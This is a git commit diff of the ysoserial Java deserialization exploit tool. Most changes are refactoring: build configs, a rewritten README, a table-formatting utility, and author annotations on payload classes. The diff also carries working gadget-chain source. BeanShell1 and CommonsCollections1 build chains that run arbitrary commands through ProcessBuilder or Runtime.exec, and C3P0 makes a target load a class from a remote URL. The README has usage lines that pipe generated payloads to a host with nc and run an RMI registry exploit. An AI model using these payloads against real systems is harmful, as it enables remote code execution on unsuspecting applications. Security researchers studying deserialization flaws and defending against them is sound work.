fixes, refactoring

This commit is contained in:
Chris Frohoff
2017-09-02 20:57:11 -07:00
parent 6088aa3f20
commit 028ee30e9c
41 changed files with 570 additions and 342 deletions
+13
View File
@@ -0,0 +1,13 @@
root = true
[*]
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
indent_style = space
indent_size = 4
max_line_length = 120
[*.{yml,yaml}]
indent_size = 2
+13 -1
View File
@@ -1,5 +1,17 @@
/target # java
*.class
# mvn
target/
# eclipse
.classpath .classpath
.project .project
.settings/ .settings/
# idea
.idea/
*.iml
# tests
pwntest pwntest
+7 -2
View File
@@ -1,6 +1,11 @@
dist: trusty
language: java language: java
# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
# Sun JDK 6 is not provided, because it is EOL as of November 2012.
# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
jdk: jdk:
- oraclejdk8 - oraclejdk8
- oraclejdk7 #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
- openjdk8
- openjdk7 - openjdk7
- openjdk6 #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
+127 -109
View File
@@ -1,109 +1,127 @@
# ysoserial # ysoserial
[![Join the chat at https://gitter.im/frohoff/ysoserial](https://badges.gitter.im/frohoff/ysoserial.svg)](https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) [![Join the chat at https://gitter.im/frohoff/ysoserial](
https://badges.gitter.im/frohoff/ysoserial.svg)](
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
## Description A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). ![logo](ysoserial.png)
Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
## Description
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. Originally released as part of AppSecCali 2015 Talk
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then ["Marshalling Pickles: how deserializing objects will ruin your day"](
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes http://frohoff.github.io/appseccali-marshalling-pickles/)
this data, the chain will automatically be invoked and cause the command to be executed on the application host. with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
Later updated to include additional gadget chains for
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
gadgets on the classpath.
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
## Disclaimer libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of
objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
This software has been created purely for the purposes of academic research and serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
for the development of effective defensive techniques, and is not intended to be this data, the chain will automatically be invoked and cause the command to be executed on the application host.
used to attack systems except where explicitly authorized. Project maintainers
are not responsible or liable for misuse of the software. Use responsibly. It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
gadgets on the classpath.
## Usage
## Disclaimer
```shell
$ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar This software has been created purely for the purposes of academic research and
Y SO SERIAL? for the development of effective defensive techniques, and is not intended to be
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' used to attack systems except where explicitly authorized. Project maintainers
Available payload types: are not responsible or liable for misuse of the software. Use responsibly.
BeanShell1 [org.beanshell:bsh:2.0b5]
C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11] ## Usage
Clojure [org.clojure:clojure:1.8.0]
CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2] ```shell
CommonsCollections1 [commons-collections:commons-collections:3.1] $ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar
CommonsCollections2 [org.apache.commons:commons-collections4:4.0] Y SO SERIAL?
CommonsCollections3 [commons-collections:commons-collections:3.1] Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
CommonsCollections4 [org.apache.commons:commons-collections4:4.0] Available payload types:
CommonsCollections5 [commons-collections:commons-collections:3.1] Payload Authors Dependencies
CommonsCollections6 [commons-collections:commons-collections:3.1] ------- ------- ------------
FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4] BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
Groovy1 [org.codehaus.groovy:groovy:2.3.9] C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Hibernate1 [] Clojure @JackOfMostTrades clojure:1.8.0
Hibernate2 [] CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
JBossInterceptors1 [javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21] CommonsCollections1 @frohoff commons-collections:3.1
JRMPClient [] CommonsCollections2 @frohoff commons-collections4:4.0
JRMPListener [] CommonsCollections3 @frohoff commons-collections:3.1
JSON1 [net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2, commons-lang:commons-lang:2.6, net.sf.ezmorph:ezmorph:1.0.6, commons-beanutils:commons-beanutils:1.9.2, org.springframework:spring-core:4.1.4.RELEASE, commons-collections:commons-collections:3.1] CommonsCollections4 @frohoff commons-collections4:4.0
JavassistWeld1 [javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21] CommonsCollections5 @frohoff commons-collections:3.1
Jdk7u21 [] CommonsCollections6 @matthias_kaiser commons-collections:3.1
Jython1 [org.python:jython-standalone:2.5.2] FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
MozillaRhino1 [rhino:js:1.7R2] Groovy1 @frohoff groovy:2.3.9
Myfaces1 [] Hibernate1 @mbechler
Myfaces2 [] Hibernate2 @mbechler
ROME [rome:rome:1.0] JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE] JRMPClient @mbechler
Spring2 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2] JRMPListener @mbechler
URLDNS [] JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
Wicket1 [wicket-util:wicket-util:6.23] JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
``` Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
## Examples MozillaRhino1 @mbechler js:1.7R2
Myfaces1 @mbechler
```shell Myfaces2 @mbechler
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd ROME @mbechler rome:1.0
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat URLDNS @gebl
... Wicket1 @jacob-baines wicket-util:6.23
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov ```
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.: ## Examples
$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin ```shell
$ nc 10.10.10.10 < groovypayload.bin $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
``` 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
## Installation 0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
1. Download the latest jar from [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) . 0000570: 0078 7071 007e 003a .xpq.~.:
Note that GitHub-hosted releases were removed in compliance with the [GitHub Community Guidelines](https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed) $ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
## Building
$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
Requires Java 1.7+ and Maven 3.x+ ```
```mvn clean package -DskipTests``` ## Installation
## Code Status 1. Download the latest jar from
[JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial) [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
## Contributing
Note that GitHub-hosted releases were removed in compliance with the
1. Fork it [GitHub Community Guidelines](
2. Create your feature branch (`git checkout -b my-new-feature`) https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`) ## Building
5. Create new Pull Request
Requires Java 1.7+ and Maven 3.x+
```mvn clean package -DskipTests```
## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
## Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
## Additional Reading
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
-3
View File
@@ -1,3 +0,0 @@
grant {
permission java.security.AllPermission;
};
+4 -3
View File
@@ -8,7 +8,7 @@
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
<url>http://maven.apache.org</url> <url>https://github.com/frohoff/ysoserial/</url>
<properties> <properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -52,6 +52,7 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId> <artifactId>maven-surefire-plugin</artifactId>
<version>2.20</version>
<configuration> <configuration>
<systemPropertyVariables> <systemPropertyVariables>
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly> <java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
@@ -60,7 +61,7 @@
</plugin> </plugin>
</plugins> </plugins>
</build> </build>
<repositories> <repositories>
<repository> <repository>
<id>jenkins</id> <id>jenkins</id>
@@ -360,6 +361,6 @@
</dependency> </dependency>
</dependencies> </dependencies>
</profile> </profile>
</profiles> </profiles>
</project> </project>
+22 -16
View File
@@ -1,19 +1,15 @@
package ysoserial; package ysoserial;
import java.io.PrintStream; import java.io.PrintStream;
import java.util.ArrayList; import java.util.*;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes") @SuppressWarnings("rawtypes")
public class GeneratePayload { public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70; private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64; private static final int USAGE_CODE = 64;
@@ -49,18 +45,28 @@ public class GeneratePayload {
private static void printUsage() { private static void printUsage() {
System.err.println("Y SO SERIAL?"); System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println("\tAvailable payload types:"); System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
}
}
public static class ToStringComparator implements Comparator<Object> { final List<String[]> rows = new LinkedList<String[]>();
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } rows.add(new String[] {"Payload", "Authors", "Dependencies"});
} rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}
final List<String> lines = Strings.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
}
} }
+55
View File
@@ -0,0 +1,55 @@
package ysoserial;
import org.apache.commons.lang.StringUtils;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class Strings {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (! first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<String>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}
@@ -7,6 +7,8 @@ import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -17,8 +19,9 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" }) @Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload // BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
@@ -44,7 +47,7 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
return priorityQueue; return priorityQueue;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args); PayloadRunner.run(BeanShell1.class, args);
} }
+13 -12
View File
@@ -15,6 +15,7 @@ import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -22,25 +23,25 @@ import ysoserial.payloads.util.Reflections;
/** /**
* *
* *
* com.sun.jndi.rmi.registry.RegistryContext->lookup * com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* *
* Arguments: * Arguments:
* - base_url:classname * - base_url:classname
* *
* Yields: * Yields:
* - Instantiation of remotely loaded class * - Instantiation of remotely loaded class
* *
* @author mbechler * @author mbechler
* *
*/ */
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" ) @PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> { public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception { public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
if ( sep < 0 ) { if ( sep < 0 ) {
@@ -49,7 +50,7 @@ public class C3P0 implements ObjectPayload<Object> {
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b; return b;
@@ -59,10 +60,10 @@ public class C3P0 implements ObjectPayload<Object> {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className; private String className;
private String url; private String url;
public PoolSource ( String className, String url ) { public PoolSource ( String className, String url ) {
this.className = className; this.className = className;
this.url = url; this.url = url;
@@ -79,9 +80,9 @@ public class C3P0 implements ObjectPayload<Object> {
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
} }
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args); PayloadRunner.run(C3P0.class, args);
@@ -2,6 +2,7 @@ package ysoserial.payloads;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap; import clojure.lang.PersistentArrayMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -9,21 +10,22 @@ import java.util.HashMap;
import java.util.Map; import java.util.Map;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
HashMap.readObject() HashMap.readObject()
AbstractTableModel$ff19274a.hashCode() AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke() clojure.core$comp$fn__4727.invoke()
clojure.core$constantly$fn__4614.invoke() clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke() clojure.main$eval_opt.invoke()
Requires: Requires:
org.clojure:clojure org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/ */
@Dependencies({"org.clojure:clojure:1.8.0"}) @Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> { public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception { public Map<?, ?> getObject(final String command) throws Exception {
final String[] execArgs = command.split(" "); final String[] execArgs = command.split(" ");
@@ -54,9 +56,9 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
return targetMap; return targetMap;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure.class, args); PayloadRunner.run(Clojure.class, args);
} }
} }
@@ -1,42 +1,44 @@
package ysoserial.payloads; package ysoserial.payloads;
import java.math.BigInteger; import java.math.BigInteger;
import java.util.PriorityQueue; import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @SuppressWarnings({ "rawtypes", "unchecked" })
public class CommonsBeanutils1 implements ObjectPayload<Object> { @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public Object getObject(final String command) throws Exception { public class CommonsBeanutils1 implements ObjectPayload<Object> {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed public Object getObject(final String command) throws Exception {
final BeanComparator comparator = new BeanComparator("lowestSetBit"); final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
// create queue with numbers and basic comparator final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later // create queue with numbers and basic comparator
queue.add(new BigInteger("1")); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1")); // stub data for replacement later
queue.add(new BigInteger("1"));
// switch method called by comparator queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch method called by comparator
// switch contents of queue Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates; // switch contents of queue
queueArray[1] = templates; final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
return queue; queueArray[1] = templates;
}
return queue;
public static void main(final String[] args) throws Exception { }
PayloadRunner.run(CommonsBeanutils1.class, args);
} public static void main(final String[] args) throws Exception {
} PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
@@ -18,7 +19,7 @@ import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet() Map(Proxy).entrySet()
@@ -27,23 +28,24 @@ import ysoserial.payloads.util.Reflections;
ChainedTransformer.transform() ChainedTransformer.transform()
ConstantTransformer.transform() ConstantTransformer.transform()
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Class.getMethod() Class.getMethod()
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.getRuntime() Runtime.getRuntime()
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.exec() Runtime.exec()
Requires: Requires:
commons-collections commons-collections
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion") @PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command }; final String[] execArgs = new String[] { command };
// inert chain for setup // inert chain for setup
@@ -65,20 +67,20 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
final Map innerMap = new HashMap(); final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
